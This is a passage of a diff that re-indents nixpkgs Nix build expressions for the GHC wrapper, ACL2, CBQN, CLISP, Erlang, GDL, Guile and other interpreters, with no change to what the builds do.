+          makeWrapper ${ghc}/bin/$prg $out/bin/$prg --add-flags "--global-package-db=${packageCfgDir}"
+        fi
+      done
+
+      # haddock was referring to the base ghc, https://github.com/NixOS/nixpkgs/issues/36976
+      if [[ -x "${ghc}/bin/haddock" ]]; then
+        rm -f $out/bin/haddock
+        makeWrapper ${ghc}/bin/haddock $out/bin/haddock    \
+          --add-flags '"-B$NIX_${ghcCommandCaps}_LIBDIR"'  \
+          --set "NIX_${ghcCommandCaps}_LIBDIR" "${libDir}"
+      fi
+
+    ''
+    + (lib.optionalString (stdenv.targetPlatform.isDarwin && !isGhcjs && !stdenv.targetPlatform.isiOS)
       ''
-      + (lib.optionalString (stdenv.targetPlatform.isDarwin && !isGhcjs && !stdenv.targetPlatform.isiOS)
-        ''
-          # Work around a linker limit in macOS Sierra (see generic-builder.nix):
-          local packageConfDir="${packageCfgDir}";
-          local dynamicLinksDir="$out/lib/links";
-          mkdir -p $dynamicLinksDir
-          # Clean up the old links that may have been (transitively) included by
-          # symlinkJoin:
-          rm -f $dynamicLinksDir/*
+        # Work around a linker limit in macOS Sierra (see generic-builder.nix):
+        local packageConfDir="${packageCfgDir}";
+        local dynamicLinksDir="$out/lib/links";
+        mkdir -p $dynamicLinksDir
+        # Clean up the old links that may have been (transitively) included by
+        # symlinkJoin:
+        rm -f $dynamicLinksDir/*
 
-          # Boot libraries are located differently than other libraries since GHC 9.6, so handle them separately.
-          if [[ -x "${bootLibDir}" ]]; then
-            ln -s "${bootLibDir}"/*.dylib $dynamicLinksDir
-          fi
+        # Boot libraries are located differently than other libraries since GHC 9.6, so handle them separately.
+        if [[ -x "${bootLibDir}" ]]; then
+          ln -s "${bootLibDir}"/*.dylib $dynamicLinksDir
+        fi
 
-          for d in $(grep -Poz "dynamic-library-dirs:\s*\K .+\n" $packageConfDir/*|awk '{print $2}'|sort -u); do
-            ln -s $d/*.dylib $dynamicLinksDir
-          done
-          for f in $packageConfDir/*.conf; do
-            # Initially, $f is a symlink to a read-only file in one of the inputs
-            # (as a result of this symlinkJoin derivation).
-            # Replace it with a copy whose dynamic-library-dirs points to
-            # $dynamicLinksDir
-            cp $f $f-tmp
-            rm $f
-            sed "N;s,dynamic-library-dirs:\s*.*\n,dynamic-library-dirs: $dynamicLinksDir\n," $f-tmp > $f
-            rm $f-tmp
-          done
-        ''
-      )
-      + ''
-        ${lib.optionalString hasLibraries ''
-          # GHC 8.10 changes.
-          # Instead of replacing package.cache[.lock] with the new file,
-          # ghc-pkg is now trying to open the file.  These file are symlink
-          # to another nix derivation, so they are not writable.  Removing
-          # them allow the correct behavior of ghc-pkg recache
-          # See: https://github.com/NixOS/nixpkgs/issues/79441
-          rm ${packageCfgDir}/package.cache.lock
-          rm ${packageCfgDir}/package.cache
-
-          $out/bin/${ghcCommand}-pkg recache
-        ''}
-        ${
-          # ghcjs will read the ghc_libdir file when resolving plugins.
-          lib.optionalString (isGhcjs && ghcLibdir != null) ''
-            mkdir -p "${libDir}"
-            rm -f "${libDir}/ghc_libdir"
-            printf '%s' '${ghcLibdir}' > "${libDir}/ghc_libdir"
-          ''
-        }
-        $out/bin/${ghcCommand}-pkg check
+        for d in $(grep -Poz "dynamic-library-dirs:\s*\K .+\n" $packageConfDir/*|awk '{print $2}'|sort -u); do
+          ln -s $d/*.dylib $dynamicLinksDir
+        done
+        for f in $packageConfDir/*.conf; do
+          # Initially, $f is a symlink to a read-only file in one of the inputs
+          # (as a result of this symlinkJoin derivation).
+          # Replace it with a copy whose dynamic-library-dirs points to
+          # $dynamicLinksDir
+          cp $f $f-tmp
+          rm $f
+          sed "N;s,dynamic-library-dirs:\s*.*\n,dynamic-library-dirs: $dynamicLinksDir\n," $f-tmp > $f
+          rm $f-tmp
+        done
       ''
-      + postBuild;
+    )
+    + ''
+      ${lib.optionalString hasLibraries ''
+        # GHC 8.10 changes.
+        # Instead of replacing package.cache[.lock] with the new file,
+        # ghc-pkg is now trying to open the file.  These file are symlink
+        # to another nix derivation, so they are not writable.  Removing
+        # them allow the correct behavior of ghc-pkg recache
+        # See: https://github.com/NixOS/nixpkgs/issues/79441
+        rm ${packageCfgDir}/package.cache.lock
+        rm ${packageCfgDir}/package.cache
+
+        $out/bin/${ghcCommand}-pkg recache
+      ''}
+      ${
+        # ghcjs will read the ghc_libdir file when resolving plugins.
+        lib.optionalString (isGhcjs && ghcLibdir != null) ''
+          mkdir -p "${libDir}"
+          rm -f "${libDir}/ghc_libdir"
+          printf '%s' '${ghcLibdir}' > "${libDir}/ghc_libdir"
+        ''
+      }
+      $out/bin/${ghcCommand}-pkg check
+    ''
+    + postBuild;
     preferLocalBuild = true;
     passthru = {
       inherit (ghc) version meta;
diff --git a/pkgs/development/idris-modules/build-idris-package.nix b/pkgs/development/idris-modules/build-idris-package.nix
index 30a88b810fa4..01e567769575 100644
--- a/pkgs/development/idris-modules/build-idris-package.nix
+++ b/pkgs/development/idris-modules/build-idris-package.nix
@@ -49,7 +49,8 @@ stdenv.mkDerivation (
     buildInputs = [
       idris-with-packages
       gmp
-    ] ++ extraBuildInputs;
+    ]
+    ++ extraBuildInputs;
     propagatedBuildInputs = allIdrisDeps;
 
     # Some packages use the style
diff --git a/pkgs/development/interpreters/acl2/default.nix b/pkgs/development/interpreters/acl2/default.nix
index 3f6fbe627898..ef29b52348ca 100644
--- a/pkgs/development/interpreters/acl2/default.nix
+++ b/pkgs/development/interpreters/acl2/default.nix
@@ -72,39 +72,37 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = lib.optional certifyBooks makeWrapper;
 
-  buildInputs =
-    [
-      # ACL2 itself only needs a Common Lisp compiler/interpreter:
-      sbcl
-    ]
-    ++ lib.optionals certifyBooks [
-      # To build community books, we need Perl and a couple of utilities:
-      which
-      perl
-      hostname
-      # Some of the books require one or more of these external tools:
-      glucose
-      minisat
-      abc-verifier
-      libipasir
-      z3
-      (python3.withPackages (ps: [ ps.z3-solver ]))
-    ];
+  buildInputs = [
+    # ACL2 itself only needs a Common Lisp compiler/interpreter:
+    sbcl
+  ]
+  ++ lib.optionals certifyBooks [
+    # To build community books, we need Perl and a couple of utilities:
+    which
+    perl
+    hostname
+    # Some of the books require one or more of these external tools:
+    glucose
+    minisat
+    abc-verifier
+    libipasir
+    z3
+    (python3.withPackages (ps: [ ps.z3-solver ]))
+  ];
 
   # NOTE: Parallel building can be memory-intensive depending on the number of
   # concurrent jobs.  For example, this build has been seen to use >120GB of
   # RAM on an 85 core machine.
   enableParallelBuilding = true;
 
-  preConfigure =
-    ''
-      # When certifying books, ACL2 doesn't like $HOME not existing.
-      export HOME=$(pwd)/fake-home
-    ''
-    + lib.optionalString certifyBooks ''
-      # Some books also care about $USER being nonempty.
-      export USER=nobody
-    '';
+  preConfigure = ''
+    # When certifying books, ACL2 doesn't like $HOME not existing.
+    export HOME=$(pwd)/fake-home
+  ''
+  + lib.optionalString certifyBooks ''
+    # Some books also care about $USER being nonempty.
+    export USER=nobody
+  '';
 
   postConfigure = ''
     # ACL2 and its books need to be built in place in the out directory because
@@ -125,15 +123,14 @@ stdenv.mkDerivation rec {
   doCheck = true;
   checkTarget = "mini-proveall";
 
-  installPhase =
-    ''
-      mkdir -p $out/bin
-      ln -s $out/share/${pname}/saved_acl2           $out/bin/${pname}
-    ''
-    + lib.optionalString certifyBooks ''
-      ln -s $out/share/${pname}/books/build/cert.pl  $out/bin/${pname}-cert
-      ln -s $out/share/${pname}/books/build/clean.pl $out/bin/${pname}-clean
-    '';
+  installPhase = ''
+    mkdir -p $out/bin
+    ln -s $out/share/${pname}/saved_acl2           $out/bin/${pname}
+  ''
+  + lib.optionalString certifyBooks ''
+    ln -s $out/share/${pname}/books/build/cert.pl  $out/bin/${pname}-cert
+    ln -s $out/share/${pname}/books/build/clean.pl $out/bin/${pname}-clean
+  '';
 
   preDistPhases = [ (if certifyBooks then "certifyBooksPhase" else "removeBooksPhase") ];
 
@@ -159,32 +156,31 @@ stdenv.mkDerivation rec {
   meta = with lib; {
     description = "Interpreter and prover for a Lisp dialect";
     mainProgram = "acl2";
-    longDescription =
-      ''
-        ACL2 is a logic and programming language in which you can model computer
-        systems, together with a tool to help you prove properties of those
-        models. "ACL2" denotes "A Computational Logic for Applicative Common
-        Lisp".
+    longDescription = ''
+      ACL2 is a logic and programming language in which you can model computer
+      systems, together with a tool to help you prove properties of those
+      models. "ACL2" denotes "A Computational Logic for Applicative Common
+      Lisp".
 
-        ACL2 is part of the Boyer-Moore family of provers, for which its authors
-        have received the 2005 ACM Software System Award.
+      ACL2 is part of the Boyer-Moore family of provers, for which its authors
+      have received the 2005 ACM Software System Award.
 
-        This package installs the main ACL2 executable ${pname}, as well as the
-        build tools cert.pl and clean.pl, renamed to ${pname}-cert and
-        ${pname}-clean.
+      This package installs the main ACL2 executable ${pname}, as well as the
+      build tools cert.pl and clean.pl, renamed to ${pname}-cert and
+      ${pname}-clean.
 
-      ''
-      + (
-        if certifyBooks then
-          ''
-            The community books are also included and certified with the `make
-            everything` target.
-          ''
-        else
-          ''
-            The community books are not included in this package.
-          ''
-      );
+    ''
+    + (
+      if certifyBooks then
+        ''
+          The community books are also included and certified with the `make
+          everything` target.
+        ''
+      else
+        ''
+          The community books are not included in this package.
+        ''
+    );
     homepage = "https://www.cs.utexas.edu/users/moore/acl2/";
     downloadPage = "https://github.com/acl2-devel/acl2-devel/releases";
     license =
diff --git a/pkgs/development/interpreters/bqn/cbqn/default.nix b/pkgs/development/interpreters/bqn/cbqn/default.nix
index 4f450938f9a0..d830e60dba2d 100644
--- a/pkgs/development/interpreters/bqn/cbqn/default.nix
+++ b/pkgs/development/interpreters/bqn/cbqn/default.nix
@@ -21,13 +21,12 @@ stdenv.mkDerivation {
   pname = "cbqn" + lib.optionalString (!generateBytecode) "-standalone";
   inherit (sources.cbqn) version src;
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
   buildInputs = [
     libffi
@@ -37,29 +36,27 @@ stdenv.mkDerivation {
     "CC=${stdenv.cc.targetPrefix}cc"
   ];
 
-  buildFlags =
-    [
-      # interpreter binary
-      "o3"
-      "notui=1" # display build progress in a plain-text format
-      "REPLXX=${if enableReplxx then "1" else "0"}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.avx2Support [
-      "has=avx2"
-    ]
-    ++ lib.optionals enableLibcbqn [
-      # embeddable interpreter as a shared lib
-      "shared-o3"
-    ];
+  buildFlags = [
+    # interpreter binary
+    "o3"
+    "notui=1" # display build progress in a plain-text format
+    "REPLXX=${if enableReplxx then "1" else "0"}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.avx2Support [
+    "has=avx2"
+  ]
+  ++ lib.optionals enableLibcbqn [
+    # embeddable interpreter as a shared lib
+    "shared-o3"
+  ];
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals enableLibcbqn [
-      "lib"
-      "dev"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals enableLibcbqn [
+    "lib"
+    "dev"
+  ];
 
   dontConfigure = true;
 
@@ -72,45 +69,43 @@ stdenv.mkDerivation {
     patchShebangs build/build
   '';
 
-  preBuild =
-    ''
-      mkdir -p build/singeliLocal/
-      cp -r ${sources.singeli.src}/* build/singeliLocal/
-    ''
-    + (
-      if generateBytecode then
-        ''
-          mkdir -p build/bytecodeLocal/gen
-          ${bqn-interpreter} ./build/genRuntime ${mbqn-source} build/bytecodeLocal/
-        ''
-      else
-        ''
-          mkdir -p build/bytecodeLocal/gen
-          cp -r ${sources.cbqn-bytecode.src}/* build/bytecodeLocal/
-        ''
-    )
-    + lib.optionalString enableReplxx ''
-      mkdir -p build/replxxLocal/
-      cp -r ${sources.replxx.src}/* build/replxxLocal/
-    '';
+  preBuild = ''
+    mkdir -p build/singeliLocal/
+    cp -r ${sources.singeli.src}/* build/singeliLocal/
+  ''
+  + (
+    if generateBytecode then
+      ''
+        mkdir -p build/bytecodeLocal/gen
+        ${bqn-interpreter} ./build/genRuntime ${mbqn-source} build/bytecodeLocal/
+      ''
+    else
+      ''
+        mkdir -p build/bytecodeLocal/gen
+        cp -r ${sources.cbqn-bytecode.src}/* build/bytecodeLocal/
+      ''
+  )
+  + lib.optionalString enableReplxx ''
+    mkdir -p build/replxxLocal/
+    cp -r ${sources.replxx.src}/* build/replxxLocal/
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/bin/
-      cp BQN -t $out/bin/
-      # note guard condition for case-insensitive filesystems
-      [ -e $out/bin/bqn ] || ln -s $out/bin/BQN $out/bin/bqn
-      [ -e $out/bin/cbqn ] || ln -s $out/bin/BQN $out/bin/cbqn
-    ''
-    + lib.optionalString enableLibcbqn ''
-      install -Dm644 include/bqnffi.h -t "$dev/include"
-      install -Dm755 libcbqn${stdenv.hostPlatform.extensions.sharedLibrary} -t "$lib/lib"
-    ''
-    + ''
-      runHook postInstall
-    '';
+    mkdir -p $out/bin/
+    cp BQN -t $out/bin/
+    # note guard condition for case-insensitive filesystems
+    [ -e $out/bin/bqn ] || ln -s $out/bin/BQN $out/bin/bqn
+    [ -e $out/bin/cbqn ] || ln -s $out/bin/BQN $out/bin/cbqn
+  ''
+  + lib.optionalString enableLibcbqn ''
+    install -Dm644 include/bqnffi.h -t "$dev/include"
+    install -Dm755 libcbqn${stdenv.hostPlatform.extensions.sharedLibrary} -t "$lib/lib"
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   installCheckPhase = ''
     runHook preInstallCheck
diff --git a/pkgs/development/interpreters/clisp/default.nix b/pkgs/development/interpreters/clisp/default.nix
index e32bbbdf24d2..73c7b5b01e11 100644
--- a/pkgs/development/interpreters/clisp/default.nix
+++ b/pkgs/development/interpreters/clisp/default.nix
@@ -30,17 +30,16 @@
   threadSupport ? (stdenv.hostPlatform.isx86 && !stdenv.hostPlatform.isDarwin),
   x11Support ? (stdenv.hostPlatform.isx86 && !stdenv.hostPlatform.isDarwin),
   dllSupport ? true,
-  withModules ?
-    [
-      "asdf"
-      "pcre"
-      "rawsock"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "bindings/glibc"
-      "zlib"
-    ]
-    ++ lib.optional x11Support "clx/new-clx",
+  withModules ? [
+    "asdf"
+    "pcre"
+    "rawsock"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "bindings/glibc"
+    "zlib"
+  ]
+  ++ lib.optional x11Support "clx/new-clx",
 }:
 
 assert
@@ -75,26 +74,25 @@ stdenv.mkDerivation {
     automake
     libtool
   ];
-  buildInputs =
-    [
-      bash
-      libsigsegv
-    ]
-    ++ lib.optional (gettext != null) gettext
-    ++ lib.optional (ncurses != null) ncurses
-    ++ lib.optional (pcre != null) pcre
-    ++ lib.optional (zlib != null) zlib
-    ++ lib.optional (readline != null) readline
-    ++ lib.optional (ffcallAvailable && (libffi != null)) libffi
-    ++ lib.optional ffcallAvailable libffcall
-    ++ lib.optionals x11Support [
-      libX11
-      libXau
-      libXt
-      libXpm
-      xorgproto
-      libXext
-    ];
+  buildInputs = [
+    bash
+    libsigsegv
+  ]
+  ++ lib.optional (gettext != null) gettext
+  ++ lib.optional (ncurses != null) ncurses
+  ++ lib.optional (pcre != null) pcre
+  ++ lib.optional (zlib != null) zlib
+  ++ lib.optional (readline != null) readline
+  ++ lib.optional (ffcallAvailable && (libffi != null)) libffi
+  ++ lib.optional ffcallAvailable libffcall
+  ++ lib.optionals x11Support [
+    libX11
+    libXau
+    libXt
+    libXpm
+    xorgproto
+    libXext
+  ];
 
   # First, replace port 9090 (rather low, can be used)
   # with 64237 (much higher, IANA private area, not
@@ -106,16 +104,17 @@ stdenv.mkDerivation {
     find . -type f | xargs sed -e 's/-lICE/-lXau &/' -i
   '';
 
-  configureFlags =
-    [ "builddir" ]
-    ++ lib.optional (!dllSupport) "--without-dynamic-modules"
-    ++ lib.optional (readline != null) "--with-readline"
-    # --with-dynamic-ffi can only exist with --with-ffcall - foreign.d does not compile otherwise
-    ++ lib.optional (ffcallAvailable && (libffi != null)) "--with-dynamic-ffi"
-    ++ lib.optional ffcallAvailable "--with-ffcall"
-    ++ lib.optional (!ffcallAvailable) "--without-ffcall"
-    ++ builtins.map (x: " --with-module=" + x) withModules
-    ++ lib.optional threadSupport "--with-threads=POSIX_THREADS";
+  configureFlags = [
+    "builddir"
+  ]
+  ++ lib.optional (!dllSupport) "--without-dynamic-modules"
+  ++ lib.optional (readline != null) "--with-readline"
+  # --with-dynamic-ffi can only exist with --with-ffcall - foreign.d does not compile otherwise
+  ++ lib.optional (ffcallAvailable && (libffi != null)) "--with-dynamic-ffi"
+  ++ lib.optional ffcallAvailable "--with-ffcall"
+  ++ lib.optional (!ffcallAvailable) "--without-ffcall"
+  ++ builtins.map (x: " --with-module=" + x) withModules
+  ++ lib.optional threadSupport "--with-threads=POSIX_THREADS";
 
   preBuild = ''
     sed -e '/avcall.h/a\#include "config.h"' -i src/foreign.d
diff --git a/pkgs/development/interpreters/dzaima-apl/default.nix b/pkgs/development/interpreters/dzaima-apl/default.nix
index 0b28a6f44c02..a9d796d3054f 100644
--- a/pkgs/development/interpreters/dzaima-apl/default.nix
+++ b/pkgs/development/interpreters/dzaima-apl/default.nix
@@ -29,46 +29,44 @@ stdenv.mkDerivation rec {
     patchShebangs --build ./build
   '';
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      ./build
-    ''
-    + lib.optionalString buildNativeImage ''
-      native-image --report-unsupported-elements-at-runtime \
-        -H:CLibraryPath=${lib.getLib jdk}/lib -J-Dfile.encoding=UTF-8 \
-        -jar APL.jar dapl
-    ''
-    + ''
-      runHook postBuild
-    '';
+    ./build
+  ''
+  + lib.optionalString buildNativeImage ''
+    native-image --report-unsupported-elements-at-runtime \
+      -H:CLibraryPath=${lib.getLib jdk}/lib -J-Dfile.encoding=UTF-8 \
+      -jar APL.jar dapl
+  ''
+  + ''
+    runHook postBuild
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/bin
-    ''
-    + (
-      if buildNativeImage then
-        ''
-          mv dapl $out/bin
-        ''
-      else
-        ''
-          mkdir -p $out/share/${pname}
-          mv APL.jar $out/share/${pname}/
+    mkdir -p $out/bin
+  ''
+  + (
+    if buildNativeImage then
+      ''
+        mv dapl $out/bin
+      ''
+    else
+      ''
+        mkdir -p $out/share/${pname}
+        mv APL.jar $out/share/${pname}/
 
-          makeWrapper "${lib.getBin jdk}/bin/java" "$out/bin/dapl" \
-            --add-flags "-jar $out/share/${pname}/APL.jar"
-        ''
-    )
-    + ''
-      ln -s $out/bin/dapl $out/bin/apl
+        makeWrapper "${lib.getBin jdk}/bin/java" "$out/bin/dapl" \
+          --add-flags "-jar $out/share/${pname}/APL.jar"
+      ''
+  )
+  + ''
+    ln -s $out/bin/dapl $out/bin/apl
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/dzaima/APL";
diff --git a/pkgs/development/interpreters/erlang/generic-builder.nix b/pkgs/development/interpreters/erlang/generic-builder.nix
index 1943a92bbd6b..de260ac2a7af 100644
--- a/pkgs/development/interpreters/erlang/generic-builder.nix
+++ b/pkgs/development/interpreters/erlang/generic-builder.nix
@@ -133,48 +133,47 @@ stdenv.mkDerivation (
       DOC_TARGETS = "man chunks";
     };
 
-    buildInputs =
-      [
-        ncurses
-        opensslPackage
-        zlib
-      ]
-      ++ optionals wxSupport wxPackages2
-      ++ optionals odbcSupport odbcPackages
-      ++ optionals javacSupport javacPackages
-      ++ optional systemdSupport systemd;
+    buildInputs = [
+      ncurses
+      opensslPackage
+      zlib
+    ]
+    ++ optionals wxSupport wxPackages2
+    ++ optionals odbcSupport odbcPackages
+    ++ optionals javacSupport javacPackages
+    ++ optional systemdSupport systemd;
 
     debugInfo = enableDebugInfo;
 
     # On some machines, parallel build reliably crashes on `GEN    asn1ct_eval_ext.erl` step
     enableParallelBuilding = parallelBuild;
 
-    postPatch =
-      ''
-        patchShebangs make
+    postPatch = ''
+      patchShebangs make
 
-        ${postPatch}
-      ''
-      + optionalString (lib.versionOlder "25" version) ''
-        substituteInPlace lib/os_mon/src/disksup.erl \
-          --replace-fail '"sh ' '"${runtimeShell} '
-      '';
+      ${postPatch}
+    ''
+    + optionalString (lib.versionOlder "25" version) ''
+      substituteInPlace lib/os_mon/src/disksup.erl \
+        --replace-fail '"sh ' '"${runtimeShell} '
+    '';
 
-    configureFlags =
-      [ "--with-ssl=${lib.getOutput "out" opensslPackage}" ]
-      ++ [ "--with-ssl-incl=${lib.getDev opensslPackage}" ] # This flag was introduced in R24
-      ++ optional enableThreads "--enable-threads"
-      ++ optional enableSmpSupport "--enable-smp-support"
-      ++ optional enableKernelPoll "--enable-kernel-poll"
-      ++ optional enableHipe "--enable-hipe"
-      ++ optional javacSupport "--with-javac"
-      ++ optional odbcSupport "--with-odbc=${unixODBC}"
-      ++ optional wxSupport "--enable-wx"
-      ++ optional systemdSupport "--enable-systemd"
-      ++ optional stdenv.hostPlatform.isDarwin "--enable-darwin-64bit"
-      # make[3]: *** [yecc.beam] Segmentation fault: 11
-      ++ optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) "--disable-jit"
-      ++ configureFlags;
+    configureFlags = [
+      "--with-ssl=${lib.getOutput "out" opensslPackage}"
+    ]
+    ++ [ "--with-ssl-incl=${lib.getDev opensslPackage}" ] # This flag was introduced in R24
+    ++ optional enableThreads "--enable-threads"
+    ++ optional enableSmpSupport "--enable-smp-support"
+    ++ optional enableKernelPoll "--enable-kernel-poll"
+    ++ optional enableHipe "--enable-hipe"
+    ++ optional javacSupport "--with-javac"
+    ++ optional odbcSupport "--with-odbc=${unixODBC}"
+    ++ optional wxSupport "--enable-wx"
+    ++ optional systemdSupport "--enable-systemd"
+    ++ optional stdenv.hostPlatform.isDarwin "--enable-darwin-64bit"
+    # make[3]: *** [yecc.beam] Segmentation fault: 11
+    ++ optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) "--disable-jit"
+    ++ configureFlags;
 
     # install-docs will generate and install manpages and html docs
     # (PDFs are generated only when fop is available).
diff --git a/pkgs/development/interpreters/gnudatalanguage/default.nix b/pkgs/development/interpreters/gnudatalanguage/default.nix
index 761695d96920..154c23aa18ac 100644
--- a/pkgs/development/interpreters/gnudatalanguage/default.nix
+++ b/pkgs/development/interpreters/gnudatalanguage/default.nix
@@ -131,41 +131,40 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ cmake ] ++ lib.optional enableWX wrapGAppsHook3;
 
-  buildInputs =
-    [
-      qhull
-      readline
-      ncurses
-      zlib
-      gsl
-      openmp
-      graphicsmagick
-      fftw
-      fftwFloat
-      fftwLongDouble
-      proj
-      shapelib
-      expat
-      mpi
-      udunits
-      eigen
-      pslib
-      libpng
-      libtiff
-      libgeotiff
-      libjpeg
-      hdf4-custom
-      hdf5-custom
-      netcdf-custom
-      plplot-with-drivers
-    ]
-    ++ lib.optional enableXWin plplot-with-drivers.libX11
-    ++ lib.optional enableGRIB eccodes
-    ++ lib.optional enableGLPK glpk
-    ++ lib.optional enableWX wxGTK32
-    ++ lib.optional enableMPI mpi
-    ++ lib.optional enableLibtirpc hdf4-custom.libtirpc
-    ++ lib.optional enableSzip szip;
+  buildInputs = [
+    qhull
+    readline
+    ncurses
+    zlib
+    gsl
+    openmp
+    graphicsmagick
+    fftw
+    fftwFloat
+    fftwLongDouble
+    proj
+    shapelib
+    expat
+    mpi
+    udunits
+    eigen
+    pslib
+    libpng
+    libtiff
+    libgeotiff
+    libjpeg
+    hdf4-custom
+    hdf5-custom
+    netcdf-custom
+    plplot-with-drivers
+  ]
+  ++ lib.optional enableXWin plplot-with-drivers.libX11
+  ++ lib.optional enableGRIB eccodes
+  ++ lib.optional enableGLPK glpk
+  ++ lib.optional enableWX wxGTK32
+  ++ lib.optional enableMPI mpi
+  ++ lib.optional enableLibtirpc hdf4-custom.libtirpc
+  ++ lib.optional enableSzip szip;
 
   propagatedBuildInputs = [
     (python3.withPackages (ps: with ps; [ numpy ]))
diff --git a/pkgs/development/interpreters/guile/1.8.nix b/pkgs/development/interpreters/guile/1.8.nix
index d5f0fe3f6800..a77a794661cf 100644
--- a/pkgs/development/interpreters/guile/1.8.nix
+++ b/pkgs/development/interpreters/guile/1.8.nix
@@ -29,17 +29,17 @@ stdenv.mkDerivation rec {
   setOutputFlags = false; # $dev gets into the library otherwise
 
   # GCC 4.6 raises a number of set-but-unused warnings.
-  configureFlags =
-    [
-      "--disable-error-on-warning"
-    ]
-    # Guile needs patching to preset results for the configure tests about
-    # pthreads, which work only in native builds.
-    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "--with-threads=no";
+  configureFlags = [
+    "--disable-error-on-warning"
+  ]
+  # Guile needs patching to preset results for the configure tests about
+  # pthreads, which work only in native builds.
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "--with-threads=no";
 
   depsBuildBuild = [
     buildPackages.stdenv.cc
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) pkgsBuildBuild.guile_1_8;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) pkgsBuildBuild.guile_1_8;
   nativeBuildInputs = [
     makeWrapper
     pkg-config
@@ -69,17 +69,16 @@ stdenv.mkDerivation rec {
     sed -e '/lt_dlinit/a  lt_dladdsearchdir("'$out/lib'");' -i libguile/dynl.c
   '';
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/guile-snarf --prefix PATH : "${gawk}/bin"
-    ''
-    # XXX: See http://thread.gmane.org/gmane.comp.lib.gnulib.bugs/18903 for
-    # why `--with-libunistring-prefix' and similar options coming from
-    # `AC_LIB_LINKFLAGS_BODY' don't work on NixOS/x86_64.
-    + ''
-      sed -i "$out/lib/pkgconfig/guile"-*.pc    \
-          -e "s|-lltdl|-L${libtool.lib}/lib -lltdl|g"
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/guile-snarf --prefix PATH : "${gawk}/bin"
+  ''
+  # XXX: See http://thread.gmane.org/gmane.comp.lib.gnulib.bugs/18903 for
+  # why `--with-libunistring-prefix' and similar options coming from
+  # `AC_LIB_LINKFLAGS_BODY' don't work on NixOS/x86_64.
+  + ''
+    sed -i "$out/lib/pkgconfig/guile"-*.pc    \
+        -e "s|-lltdl|-L${libtool.lib}/lib -lltdl|g"
+  '';
 
   # One test fails.
   # ERROR: file: "libtest-asmobs", message: "file not found"
diff --git a/pkgs/development/interpreters/guile/2.0.nix b/pkgs/development/interpreters/guile/2.0.nix
index ad542da64325..4a00c4a277c6 100644
--- a/pkgs/development/interpreters/guile/2.0.nix
+++ b/pkgs/development/interpreters/guile/2.0.nix
@@ -39,7 +39,8 @@ builder rec {
 
   depsBuildBuild = [
     buildPackages.stdenv.cc
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) pkgsBuildBuild.guile_2_0;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) pkgsBuildBuild.guile_2_0;
 
   nativeBuildInputs = [
     makeWrapper
@@ -65,30 +66,29 @@ builder rec {
 
   enableParallelBuilding = true;
 
-  patches =
-    [
-      # Small fixes to Clang compiler
-      ./clang.patch
-      # Self-explanatory
-      ./disable-gc-sensitive-tests.patch
-      # Read the header of the patch to more info
-      ./eai_system.patch
-      # RISC-V endianness
-      ./riscv.patch
-      # Fixes stability issues with 00-repl-server.test
-      (fetchpatch {
-        url = "https://git.savannah.gnu.org/cgit/guile.git/patch/?id=2fbde7f02adb8c6585e9baf6e293ee49cd23d4c4";
-        sha256 = "0p6c1lmw1iniq03z7x5m65kg3lq543kgvdb4nrxsaxjqf3zhl77v";
-      })
-    ]
-    ++ (lib.optional (coverageAnalysis != null) ./gcov-file-name.patch)
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      ./filter-mkostemp-darwin.patch
-      (fetchpatch {
-        url = "https://gitlab.gnome.org/GNOME/gtk-osx/raw/52898977f165777ad9ef169f7d4818f2d4c9b731/patches/guile-clocktime.patch";
-        sha256 = "12wvwdna9j8795x59ldryv9d84c1j3qdk2iskw09306idfsis207";
-      })
-    ];
+  patches = [
+    # Small fixes to Clang compiler
+    ./clang.patch
+    # Self-explanatory
+    ./disable-gc-sensitive-tests.patch
+    # Read the header of the patch to more info
+    ./eai_system.patch
+    # RISC-V endianness
+    ./riscv.patch
+    # Fixes stability issues with 00-repl-server.test
+    (fetchpatch {
+      url = "https://git.savannah.gnu.org/cgit/guile.git/patch/?id=2fbde7f02adb8c6585e9baf6e293ee49cd23d4c4";
+      sha256 = "0p6c1lmw1iniq03z7x5m65kg3lq543kgvdb4nrxsaxjqf3zhl77v";
+    })
+  ]
+  ++ (lib.optional (coverageAnalysis != null) ./gcov-file-name.patch)
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    ./filter-mkostemp-darwin.patch
+    (fetchpatch {
+      url = "https://gitlab.gnome.org/GNOME/gtk-osx/raw/52898977f165777ad9ef169f7d4818f2d4c9b731/patches/guile-clocktime.patch";
+      sha256 = "12wvwdna9j8795x59ldryv9d84c1j3qdk2iskw09306idfsis207";
+    })
+  ];
 
   # Explicitly link against libgcc_s, to work around the infamous
